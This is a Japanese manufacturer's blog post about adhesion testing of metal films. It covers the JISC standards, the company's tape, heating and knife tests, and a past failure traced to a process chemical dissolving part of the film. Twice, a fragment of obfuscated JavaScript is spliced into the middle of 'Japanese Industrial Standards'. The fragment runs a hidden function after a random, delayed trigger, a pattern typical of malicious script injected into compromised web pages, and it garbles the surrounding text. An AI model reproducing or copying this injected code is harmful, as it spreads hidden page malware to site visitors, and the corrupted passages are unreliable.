金属膜の密着性試験~失敗は成功の元編~

金属膜の密着性試験~失敗は成功の元編~

お客様が使用する環境で、金属膜が剥がれないよう、最終検査では、数種類の密着性試験を行っています。

密着性を確かめる方法は様々で、JISC規格でも十数種類の試験方法が規定されています。

JISC(Japanese Industrial Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards Committee)規格とは

JISCは、Japanese Industrial Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards Committeeの略称で、正式には、日本工業標準調査会といいます。

JISCは経済産業省に設置されている審議会で、工業標準化法に基づいて工業標準化に関する調査審議を行っています。

具体的には、JIS(日本工業規格)の制定 、改正等に関する審議を行ったり、工業標準、JISマーク表示制度、試験所登録制度など工業標準化の促進に関して関係各大臣への建議や諮問に応じて答申を行うなどの機能を持っています。

参照:日本工業調査委員会

弊社での密着性試験方法

弊社では、JISC規格に沿った密着性試験や、弊社独自の密着性試験方法など、いくつかの試験方法があります。

私は初め、なぜ密着性試験にはこんなに種類があるのかと疑問に思っていました。

ですが、JISC規格にも書いてあるように、めっきの密着性試験方法のほとんどは,定量的試験法ではなく、定性的なものである。

つまり、数字で出てこない、見た目や感覚などでOK、NGと判断しなければならない試験方法がどうしても多いんです。

したがって、1種類の試験で密着性の是非を決めてしまっては、判断を誤る可能性があります。

いくつもの密着性試験を行うことで、密着性が本当に、お客様が求めているものなのかを確認しています。

○弊社で行っている密着性試験の一部○

  • テープ試験方法
  • 加熱試験方法
  • ナイフテスト(ナイフで基板と金属膜を剥がす試験方法)

 etc

過去の失敗・金属膜がべろべろ!?

さて、過去の失敗談です。

一時期、最終検査で、基板から金属膜のパターンがべろべろ剥がれるという事態が起きました……。

びっくり、金属膜と基板の間にナイフを入れた途端、くるくる綺麗に剥がれていくわけです。

剥がすの快感~!!

違う!違う!!!?

せっかくサンプルを作ったのに、最後は薄い金属膜と小さく切った基板しか残らないなんて!!

大問題です……

 

さて、何が悪かったのか、成膜前に基板が汚れていて、密着性が悪かったから剥がれてしまったのか?

それにしても、全面綺麗に剥がれるし……

汚れなら、斑になってもよいのでは??

などと考えていたのですが、

結局は、ある工程で使用している薬品に、金属膜(金属膜はいくつかの層になっています)の一部を溶かす効果があることが判明。

実験を行った結果、ある一定以上の時間、その薬品にサンプルを漬けると、ある時間からガクッと膜厚が落ちることが判明しました。

溶けてしまった分は空洞になるわけですし、綺麗にぺろぺろ剥がれるわけです。

 

さて問題は、なぜ急にこの事態が起きたのか、ですが……

今までは、問題となった薬品で、金属膜が溶けるという認識がありませんでした。

なので、長時間薬品に漬けても問題なし、という認識があったんです。

そのため、時間の規定が甘かった。

今では、時間の規定を厳しくしたり、使用する薬品を変えたりなど、様々な改善がされています。

 

失敗は成功の元

 

このような失敗を繰り返しつつ、工程は成熟していきます。

 

余談ですが……

私が中高生の時に考えていた、アラサ―はとても成熟した大人な女性のはずだったのですが……

今その歳になってみて……、

うーん、なんかちがうな……と思うミルルンでした笑


創業40年の製造業。ダイヤモンド事業からスタートしたテクダイヤは、会社本来の「人好き」が作用し、人との出会いを繰り返しながら業態変化を続ける。 現在はセラミック応用技術・精密機械加工技術・ダイヤモンド加工技術をコアとしながら先端技術のものづくりを支える。スマホやデータセンターなどの通信市場、更にはNASAやバイオ領域にも進出中。